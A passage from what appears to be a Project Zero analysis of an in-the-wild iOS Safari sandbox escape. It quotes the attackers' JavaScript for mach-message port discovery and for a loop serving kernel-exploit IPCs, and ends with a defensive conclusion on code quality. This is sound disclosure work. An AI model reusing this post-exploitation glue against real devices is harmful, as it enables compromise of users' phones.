class="YrefKOOkxY-c0"> BigInt(read64(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> m_connection.add(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> offset_of_m_sendPort_in_IPC_Connection)).lo().asInt32());</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> GPU_to_WebProcess_send_ports.push(m_sendPort)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">They allocate a new mach port then iterate through each of the GPU Process to WebContent connection ports, sending each one a mach message with a port descriptor containing a send right to the newly allocated port:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">for (let WebProcess_send_port of GPU_to_WebProcess_send_ports) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> for (let _ = 0; _ < d; _++) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> // memset the message to 0</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> for (let e = 0; e < msg.byteLength; e++) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg.setUint8(e, 0)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> // complex message</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> hello_msg.header.msgh_bits.set(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg, MACH_MSG_TYPE_COPY_SEND | MACH_MSGH_BITS_COMPLEX, 0);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> // send to the web process</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> hello_msg.header.msgh_remote_port.set(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg, WebProcess_send_port, 0);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> hello_msg.header.msgh_size.set(msg, hello_msg.__size, 0);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> // one descriptor</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> hello_msg.body.msgh_descriptor_count.set(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg, 1, hello_msg.header.__size);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> // send a right to the comm port:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> hello_msg.communication_port.name.set(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg, comm_port_receive_right,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> hello_msg.header.__size + hello_msg.body.__size);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> // give other side a send right</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> hello_msg.communication_port.disposition.set(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg, MACH_MSG_TYPE_MAKE_SEND, </span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> hello_msg_buffer.header.__size + hello_msg.body.__size);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> hello_msg.communication_port.type.set(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg, MACH_MSG_PORT_DESCRIPTOR,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> hello_msg.header.__size + hello_msg.body.__size);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg.setBigUint64(hello_msg.data.offset, BigInt(_), true);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> // send the request</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> kr = mach_msg_send(u8array_backing_ptr(msg));</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (kr != KERN_SUCCESS) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> continue</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Note that, apart from having to use </span><span class="YrefKOOkxY-c3">ArrayBuffers</span><span> instead of pointers, this looks almost like it would if it was written in C and executing truly arbitrary native code. But as we've seen, there's a huge amount of complexity hidden behind that simple call to </span><span class="YrefKOOkxY-c3">mach_msg_send</span><span class="YrefKOOkxY-c5">.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">The JS then tries to receive a reply to the hello message, and if they do it's assumed that they have found the WebContent process which compromised the GPU process and is waiting for the GPU process exploit to succeed.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">It's at this point that we finally approach the final stages of this writeup.</span></p><h3 class="YrefKOOkxY-c6" id="h.4tbmvpm460a0"><span class="YrefKOOkxY-c10">Last Loops</span></h3> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Having established a new communications channel with the native code running in the WebContent process the JS enters an infinite loop waiting to service requests:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">function handle_comms_with_compromised_web_process(comm_port) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var kr = KERN_SUCCESS;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> let request_msg = alloc_message_from_proto(req_proto);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> while (true) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> for (let e = 0; e < request_msg.byteLength; e++) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> request_msg.setUint8(e, 0)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> req_proto.header.msgh_local_port.set(request_msg, comm_port, 0);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> req_proto.msgh_size.set(request_msg, req_proto.__size, 0);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> // get a request</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> kr = mach_msg_receive(u8array_backing_ptr(request_msg));</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (kr != KERN_SUCCESS) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return kr</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> let msgh_id = req_proto.header.msgh_id.get(request_msg, 0);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> handle_request_from_web_process(msgh_id, request_msg)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>In the end, this entire journey culminates in the vending of 9 new js-implemented IPCs (</span><span class="YrefKOOkxY-c3">msgh_id</span><span class="YrefKOOkxY-c5"> values 0 through 8.)</span></p><h3 class="YrefKOOkxY-c6" id="h.ik6tls31yzhv"><span class="YrefKOOkxY-c10">IPC 0:</span></h3> <p class="YrefKOOkxY-c2"><span>Just sends a reply message containing </span><span class="YrefKOOkxY-c0">KERN_SUCCESS</span></p><h3 class="YrefKOOkxY-c6" id="h.d7wvim41xias"><span class="YrefKOOkxY-c10">IPC 1 - 4</span></h3> <p class="YrefKOOkxY-c2"><span>These interact with the </span><span class="YrefKOOkxY-c3">AppleM2ScalerCSCDriver</span><span class="YrefKOOkxY-c5"> userclient and presumably trigger the kernel bug.</span></p><h3 class="YrefKOOkxY-c6" id="h.6qhhxec67one"><span class="YrefKOOkxY-c10">IPC 5:</span></h3> <p class="YrefKOOkxY-c2"><span>Wraps </span><span class="YrefKOOkxY-c3">io_service_open_extended</span><span class="YrefKOOkxY-c5">, taking a service name and connection type.</span></p><h3 class="YrefKOOkxY-c6" id="h.sv72nuu2phoh"><span class="YrefKOOkxY-c10">IPC 6:</span></h3> <p class="YrefKOOkxY-c2"><span>This takes an address and a size and creates a </span><span class="YrefKOOkxY-c3">VM_PROT_READ | VM_PROT_WRITE</span><span> </span><span class="YrefKOOkxY-c3">mach_memory_entry</span><span class="YrefKOOkxY-c5"> covering the requested region which it returns via a port descriptor.</span></p><h3 class="YrefKOOkxY-c6" id="h.r6w02vjfsknx"><span class="YrefKOOkxY-c10">IPC 7:</span></h3> <p class="YrefKOOkxY-c2"><span>This IPC extracts and returns via a </span><span class="YrefKOOkxY-c3">MOVE_SEND</span><span class="YrefKOOkxY-c5"> disposition the requested mach port name.</span></p><h3 class="YrefKOOkxY-c6" id="h.f69zl37gombn"><span class="YrefKOOkxY-c10">IPC 8:</span></h3> <p class="YrefKOOkxY-c2"><span>This simply calls the </span><span class="YrefKOOkxY-c3">exit</span><span> syscall, presumably to cleanly terminate the process. If that fails, it causes a </span><span class="YrefKOOkxY-c3">NULL</span><span class="YrefKOOkxY-c5"> pointer dereference to crash the process:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> case request_id_const_8: {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> syscall(1, 0);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> read64(new Int64("0x00000000"));</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> break</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p><h3 class="YrefKOOkxY-c6" id="h.81mpz3x2i1hv"><span class="YrefKOOkxY-c10">Conclusion</span></h3> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This exploit was undoubtedly complex. Often this complexity is interpreted as a sign that the difficulty of finding and exploiting vulnerabilities is increasing. Yet the buffer overflow vulnerability at the core of this exploit was not complex - it was a well-known, simple anti-pattern in a programming language whose security weaknesses have been studied for decades. I imagine that this vulnerability was relatively easy for the attackers to discover.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">The vast majority of the complexity lay in the later post-compromise stages - the glue which connected this IPC vulnerability to the next one in the chain. In my opinion, the reason the attackers invested so much time and effort in this part is that it's reusable. It is a high one-time cost which then hugely decreases the marginal cost of gluing the next IPC bug to the next kernel bug.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Even in a world with NX memory, mandatory code signing, pointer authentication and a myriad of other mitigations, creative attackers are still able to build </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://ieeexplore.ieee.org/document/8226852">weird machines</a></span><span> just as powerful as native code. The age of data-only exploitation is truly here; and yet another mitigation to fix one more trick is unlikely to end that. But what does make a difference is focusing on the fundamentals: early-stage design and code reviews, broad testing and code quality. This vulnerability was introduced less than two years ago — we as an industry, at a </span><span>minimum should</span><span class="YrefKOOkxY-c5"> be aiming to ensure that at least new code is vetted for well-known vulnerabilities like buffer overflows. A low bar which is clearly still not being met.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Posted by <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/08975904405228580347' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/08975904405228580347' rel='author' title='author profile'> <span itemprop='name'>Google Project Zero</span> </a> </span> </span> <span class='post-timestamp'> at <meta content='https://googleprojectzero.blogspot.com/2023/10/an-analysis-of-an-in-the-wild-ios-safari-sandbox-escape.html' itemprop='url'/> <a class='timestamp-link' href='https://googleprojectzero.blogspot.com/2023/10/an-analysis-of-an-in-the-wild-ios-safari-sandbox-escape.html' rel='bookmark' title='permanent link'><abbr class='published' itemprop='datePublished' title='2023-10-13T03:47:00-07:00'>3:47 AM</abbr></a> </span> <span class='post-comment-link'> <a class='comment-link' href='https://googleprojectzero.blogspot.com/2023/10/an-analysis-of-an-in-the-wild-ios-safari-sandbox-escape.html#comment-form' onclick=''> No comments: </a> </span> <span class='post-icons'> <span class='item-control blog-admin pid-1053444070'> <a href='https://www.blogger.com/post-edit.g?blogID=4838136820032157985&postID=8557242364150934680&from=pencil' title='Edit Post'> <img alt='' class='icon-action' height='18' src='https://resources.blogblog.com/img/icon18_edit_allbkg.gif' width='18'/> </a> </span> </span> <div class='post-share-buttons goog-inline-block'> <a class='goog-inline-block share-button sb-email' href='https://www.blogger.com/share-post.g?blogID=4838136820032157985&postID=8557242364150934680&target=email' target='_blank' title='Email This'><span class='share-button-link-text'>Email This</span></a><a class='goog-inline-block share-button sb-blog' href='https://www.blogger.com/share-post.g?blogID=4838136820032157985&postID=8557242364150934680&target=blog' onclick='window.open(this.href, "_blank", "height=270,width=475"); return false;' target='_blank' title='BlogThis!'><span class='share-button-link-text'>BlogThis!</span></a><a class='goog-inline-block share-button sb-twitter' href='https://www.blogger.com/share-post.g?blogID=4838136820032157985&postID=8557242364150934680&target=twitter' target='_blank' title='Share to X'><span class='share-button-link-text'>Share to X</span></a><a class='goog-inline-block share-button sb-facebook' href='https://www.blogger.com/share-post.g?blogID=4838136820032157985&postID=8557242364150934680&target=facebook' onclick='window.open(this.href, "_blank", "height=430,width=640"); return false;' target='_blank' title='Share to Facebook'><span class='share-button-link-text'>Share to Facebook</span></a><a class='goog-inline-block share-button sb-pinterest' href='https://www.blogger.com/share-post.g?blogID=4838136820032157985&postID=8557242364150934680&target=pinterest' target='_blank' title='Share to Pinterest'><span class='share-button-link-text'>Share to Pinterest</span></a> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> </div></div> </div> <div class='blog-pager' id='blog-pager'> <span id='blog-pager-newer-link'> <a class='blog-pager-newer-link' href='https://googleprojectzero.blogspot.com/search?updated-max=2024-04-18T09:46:00-07:00&max-results=1&reverse-paginate=true' id='Blog1_blog-pager-newer-link' title='Newer Posts'>Newer Posts</a> </span> <span id='blog-pager-older-link'> <a class='blog-pager-older-link' href='https://googleprojectzero.blogspot.com/search?updated-max=2023-10-13T03:47:00-07:00&max-results=1' id='Blog1_blog-pager-older-link' title='Older Posts'>Older Posts</a> </span> <a class='home-link' href='https://googleprojectzero.blogspot.com/'>Home</a> </div> <div class='clear'></div> <div class='blog-feeds'> <div class='feed-links'> Subscribe to: <a class='feed-link' href='https://googleprojectzero.blogspot.com/feeds/posts/default' target='_blank' type='application/atom+xml'>Posts (Atom)</a> </div> </div> </div></div> </div> </div> <div class='column-left-outer'> <div class='column-left-inner'> <aside> </aside> </div> </div> <div class='column-right-outer'> <div class='column-right-inner'> <aside> <div class='sidebar section' id='sidebar-right-1'><div class='widget BlogSearch' data-version='1' id='BlogSearch1'> <h2 class='title'>Search This Blog</h2> <div class='widget-content'> <div id='BlogSearch1_form'> <form action='https://googleprojectzero.blogspot.com/search' class='gsc-search-box' target='_top'> <table cellpadding='0' cellspacing='0' class='gsc-search-box'> <tbody> <tr> <td class='gsc-input'> <input autocomplete='off' class='gsc-input' name='q' size='10' title='search' type='text' value=''/> </td> <td class='gsc-search-button'> <input class='gsc-search-button' title='search' type='submit' value='Search'/> </td> </tr> </tbody> </table> </form> </div> </div> <div class='clear'></div> </div><div class='widget PageList' data-version='1' id='PageList1'> <h2>Pages</h2> <div class='widget-content'> <ul> <li> <a href='https://googleprojectzero.blogspot.com/p/about-project-zero.html'>About Project Zero</a> </li> <li> <a href='https://googleprojectzero.blogspot.com/p/working-at-project-zero.html'>Working at Project Zero</a> </li> <li> <a href='https://googleprojectzero.blogspot.com/p/0day.html'>0day "In the Wild"</a> </li> <li> <a href='https://googleprojectzero.github.io/0days-in-the-wild/rca.html'>0day Exploit Root Cause Analyses</a> </li> <li> <a href='https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-faq.html'>Vulnerability Disclosure FAQ</a> </li> </ul> <div class='clear'></div> </div> </div><div class='widget BlogArchive' data-version='1' id='BlogArchive1'> <h2>Archives</h2> <div class='widget-content'> <div id='ArchiveList'> <div id='BlogArchive1_ArchiveList'> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2024/'> 2024 </a> <span class='post-count' dir='ltr'>(9)</span> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2024/11/'> November </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2024/10/'> October </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2024/06/'> June </a> <span class='post-count' dir='ltr'>(3)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2024/04/'> April </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate expanded'> <a class='toggle' href='javascript:void(0)'> <span class='zippy toggle-open'> ▼  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2023/'> 2023 </a> <span class='post-count' dir='ltr'>(11)</span> <ul class='hierarchy'> <li class='archivedate expanded'> <a class='toggle' href='javascript:void(0)'> <span class='zippy toggle-open'> ▼  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2023/11/'> November </a> <span class='post-count' dir='ltr'>(1)</span> <ul class='posts'> <li><a href='https://googleprojectzero.blogspot.com/2023/11/first-handset-with-mte-on-market.html'>First handset with MTE on the market</a></li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2023/10/'> October </a> <span class='post-count' dir='ltr'>(1)</span> <ul class='posts'> <li><a href='https://googleprojectzero.blogspot.com/2023/10/an-analysis-of-an-in-the-wild-ios-safari-sandbox-escape.html'>An analysis of an in-the-wild iOS Safari WebConten...</a></li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2023/09/'> September </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2023/08/'> August </a> <span class='post-count' dir='ltr'>(4)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2023/04/'> April </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2023/03/'> March </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2023/01/'> January </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2022/'> 2022 </a> <span class='post-count' dir='ltr'>(17)</span> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2022/12/'> December </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2022/11/'> November </a> <span class='post-count' dir='ltr'>(3)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2022/10/'> October </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2022/08/'> August </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2022/06/'> June </a> <span class='post-count' dir='ltr'>(3)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2022/05/'> May </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2022/04/'> April </a> <span class='post-count' dir='ltr'>(3)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2022/03/'> March </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2022/02/'> February </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2022/01/'> January </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2021/'> 2021 </a> <span class='post-count' dir='ltr'>(24)</span> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2021/12/'> December </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2021/10/'> October </a> <span class='post-count' dir='ltr'>(3)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2021/09/'> September </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2021/08/'> August </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2021/06/'> June </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2021/05/'> May </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2021/04/'> April </a> <span class='post-count' dir='ltr'>(3)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2021/03/'> March </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2021/02/'> February </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2021/01/'> January </a> <span class='post-count' dir='ltr'>(10)</span> </li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2020/'> 2020 </a> <span class='post-count' dir='ltr'>(36)</span> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2020/12/'> December </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' 